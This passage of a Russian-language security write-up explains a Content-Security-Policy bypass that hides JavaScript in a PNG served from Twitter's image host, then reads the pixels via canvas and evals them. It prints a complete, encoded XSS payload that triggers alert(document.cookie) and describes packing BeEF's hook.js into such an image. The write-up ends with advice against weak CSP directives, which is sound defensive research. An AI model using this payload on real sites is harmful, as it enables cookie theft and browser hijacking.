, я понял, что мой браузер намеренно блокирует такие методы, как getImageData, когда изображение загружается cross-origin. Похоже, что мне просто нужно заинжектить атрибут crossorigin:HTML предоставляет атрибутСсылка скрыта от гостейдля изображений, которые в сочетании с соответствующим заголовкомСсылка скрыта от гостейпозволяют использовать изображения, определённые элементом <img>, загруженные из внешних источников, в <canvas>, как если бы они были загружены из текущего источника.
К счастью, Twitter добавляет Access-Control-Allow-Origin: * ко всем загружаемым изображениям и это означает, что мне просто нужно добавить атрибут crossorigin к тегу IMG со значением "anonymous", чтобы все заработало.Поскольку пиксели в растровом изображении canvas могут поступать из различных источников, включая изображения или видео, полученные с других хостов, неизбежно могут возникнуть проблемы с безопасностью. Как только вы рисуете на холсте любые данные, которые были загружены из другого источника без одобрения CORS, холст становится испорченным. Испорченный холст - это тот, который больше не считается безопасным, и любые попытки получить данные изображения с холста вызовут исключение. Если источником внешнего содержимого является элемент HTML <img> или SVG <svg>, то попытка извлечения содержимого холста не допускается.
Заинжектив crossorigin со значением "anonymous" все работает как ожидалось, и я успешно выполнил функцию alert(document.cookie), как показано на скриншоте ниже:
Вот весь пэйлоад, который я использовал
/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+crossorigin=%22anonymous%22+id=%22jsimg%22+onload=%27javascript:eval(atob(%22dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp%22))%27%3E%3Ca+href=%22
Конвертирование файла hook.js от BeEF
Это тест, преобразующий файл hook.js от BeEF в PNG изображение. BeEF - это Browser Exploitation Framework, инструмент тестирования на проникновение, который фокусируется на веб-браузере (более подробную информацию вы найдете на
Ссылка скрыта от гостей
). Сначала я закодировал его в base64 с помощью curl -s '
Ссылка скрыта от гостей
' | base64 -w0, а затем создал изображение, как показано выше.Заключение
Я смог обойти Content-Security-Policy веб-сайта, загрузив внешнюю библиотеку JavaScript, скрытую в PNG-изображении из Twitter. Это стало возможным благодаря тому, что политика CSP была плохо настроена, а также потому, что Twitter посылает заголовок ответа с подстановочным знаком access origin всем загруженным изображениям. Я предполагаю, что эта же техника хорошо работает во многих других социальных сетях, поэтому вы никогда не должны использовать директивы "unsafe-inline" и "unsafe-eval" в своем CSP. Если вам нужна помощь с вашим CSP,
Ссылка скрыта от гостей
вы можете найти полезный онлайн-инструмент для проверки вашей политики и получить хорошие советы по ее исправлению.